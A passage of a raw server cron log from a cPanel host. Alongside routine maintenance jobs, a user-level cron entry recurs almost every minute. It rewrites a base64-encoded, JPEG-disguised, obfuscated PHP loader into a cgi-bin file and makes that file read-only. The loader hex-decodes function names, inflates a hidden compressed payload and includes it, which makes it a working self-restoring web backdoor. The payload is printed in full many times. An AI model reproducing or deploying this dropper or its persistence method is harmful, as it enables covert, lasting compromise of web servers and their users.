BRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:03:01 server CROND[2042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:03:01 server CROND[2044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:03:01 server CROND[2045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:04:01 server CROND[2427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:04:01 server CROND[2426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:04:01 server CROND[2428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:05:01 server CROND[2834]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 02:05:01 server CROND[2835]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:05:01 server CROND[2838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:05:01 server CROND[2843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:05:01 server CROND[2842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:05:01 server CROND[2837]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 02:05:01 server CROND[2839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:05:01 server CROND[2841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:05:01 server CROND[2840]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:06:01 server CROND[3827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:06:01 server CROND[3828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:06:01 server CROND[3829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:07:01 server CROND[4203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:07:01 server CROND[4204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:07:01 server CROND[4205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:08:01 server CROND[4564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:08:01 server CROND[4565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:08:01 server CROND[4566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:09:01 server CROND[4960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:09:01 server CROND[4959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:09:01 server CROND[4961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:09:01 server CROND[4962]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 02:10:01 server CROND[5353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:10:01 server CROND[5354]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:10:01 server CROND[5356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:10:01 server CROND[5363]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:10:01 server CROND[5361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:10:01 server CROND[5364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:10:01 server CROND[5360]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:10:01 server CROND[5362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:11:01 server CROND[6333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:11:01 server CROND[6334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:11:01 server CROND[6335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:12:01 server CROND[6720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:12:01 server CROND[6722]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 02:12:01 server CROND[6723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:12:01 server CROND[6724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:13:01 server CROND[7137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:13:01 server CROND[7138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:13:01 server CROND[7136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:14:01 server CROND[7526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:14:01 server CROND[7527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:14:01 server CROND[7528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:15:01 server CROND[7940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
